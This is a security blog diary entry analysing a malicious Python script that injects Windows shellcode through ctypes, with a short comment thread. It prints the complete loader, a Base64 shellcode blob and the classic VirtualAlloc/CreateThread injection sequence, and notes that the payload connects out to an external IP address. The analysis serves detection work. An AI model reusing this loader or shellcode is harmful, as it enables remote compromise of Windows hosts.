Python and Risky Windows API Calls
The Windows API is full of calls that are usually good indicators to guess the behavior of a script. In a previous diary, I wrote about some examples of "API call groups" that are clearly used together to achieve malicious activities[1]. If it is often used in PowerShell scripts, here is an interesting sample in Python that uses the same technique. It calls directly Windows API though 'ctypes'.
As the documentation says: "ctypes[2] is a foreign function library for Python. It provides C compatible data types and allows calling functions in DLLs or shared libraries. It can be used to wrap these libraries in pure Python".
The malicious script I found (SHA256:f832437e88d9f05fa1be0c883081c6a5e3331ff178bd62170b4005d6259b8290) has a VT score of 4/56[3] and uses the Windows API to create a threat and inject a shellcode:
import ctypes as bDFdFAVENAp import base64 iVjgSKooAmZu = base64.b64decode("/OiCAAAAYInlMcBki1Awi1IMi1IUi3IoD7dKJjH/rDxhfAIsIMHPDQHH4vJSV4tSEItKPItMEXjjSAHRUYtZIAHTi0kY4zpJizSLAdYx/6zBzw0BxzjgdfYDffg7fSR15FiLWCQB02aLDEuLWBwB04sEiwHQiUQkJFtbYVlaUf/gX19aixLrjV1oMzIAAGh3czJfVGhMdyYHiej/0LiQAQAAKcRUUGgpgGsA/9VqCmgDFGJ7aAIAMwCJ5lBQUFBAUEBQaOoP3+D/1ZdqEFZXaJmldGH/1YXAdAr/Tgh17OhnAAAAagBqBFZXaALZyF//1YP4AH42izZqQGgAEAAAVmoAaFikU+X/1ZNTagBWU1doAtnIX//Vg/gAfShYaABAAABqAFBoCy8PMP/VV2h1bk1h/9VeXv8MJA+FcP///+mb////AcMpxnXBw7vwtaJWagBT/9U=") PIgkmEIUQFQZ = bDFdFAVENAp.windll.kernel32.VirtualAlloc(bDFdFAVENAp.c_int(0),bDFdFAVENAp.c_int(len(iVjgSKooAmZu)),bDFdFAVENAp.c_int(0x3000),bDFdFAVENAp.c_int(0x04)) bDFdFAVENAp.windll.kernel32.RtlMoveMemory(bDFdFAVENAp.c_int(PIgkmEIUQFQZ),iVjgSKooAmZu,bDFdFAVENAp.c_int(len(iVjgSKooAmZu))) FlvQCImqSrd = bDFdFAVENAp.windll.kernel32.VirtualProtect(bDFdFAVENAp.c_int(PIgkmEIUQFQZ),bDFdFAVENAp.c_int(len(iVjgSKooAmZu)),bDFdFAVENAp.c_int(0x20),bDFdFAVENAp.byref(bDFdFAVENAp.c_uint32(0))) GZfUkqLLVTJWYM = bDFdFAVENAp.windll.kernel32.CreateThread(bDFdFAVENAp.c_int(0),bDFdFAVENAp.c_int(0),bDFdFAVENAp.c_int(PIgkmEIUQFQZ),bDFdFAVENAp.c_int(0),bDFdFAVENAp.c_int(0),bDFdFAVENAp.pointer(bDFdFAVENAp.c_int(0))) bDFdFAVENAp.windll.kernel32.WaitForSingleObject(bDFdFAVENAp.c_int(GZfUkqLLVTJWYM),bDFdFAVENAp.c_int(-1))
The shellcode has Base64-encoded and is executed via the classic trio:
- VirtualAlloc - we allocate some memory for the shellcode.
- RtlMoveMemory - we copy the shellcode into the allocated memory.
- VirtualProtect - because the memory contains executable code, the flag PAGE_EXECUTE_READ (0x20) is applied on the memory zone.
- CreatedThread - we created the new threat. Note the fifth argument (NULL) which means that the thread runs immediately after creation.
- WaitForSingleObject - we need this to continue processing.
The shellcode is simple and tries to connect to an IP address: 3.20.98.123.
To conclude: "import ctypes" is a good indicator of suspicious activity in Python scripts running on Windows operating systems!
[1] https://isc.sans.edu/forums/diary/Malware+Triage+with+FLOSS+API+Calls+Based+Behavior/26156
[2] https://docs.python.org/3/library/ctypes.html
[3] https://www.virustotal.com/gui/file/f832437e88d9f05fa1be0c883081c6a5e3331ff178bd62170b4005d6259b8290/detection
Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key
Reverse-Engineering Malware: Malware Analysis Tools and Techniques | Amsterdam | Jan 20th - Jan 25th 2025 |
Comments
Create a threa*d* and inject shellcode perhaps?
Anonymous
Sep 2nd 2020
4 years ago
Anonymous
Sep 2nd 2020
4 years ago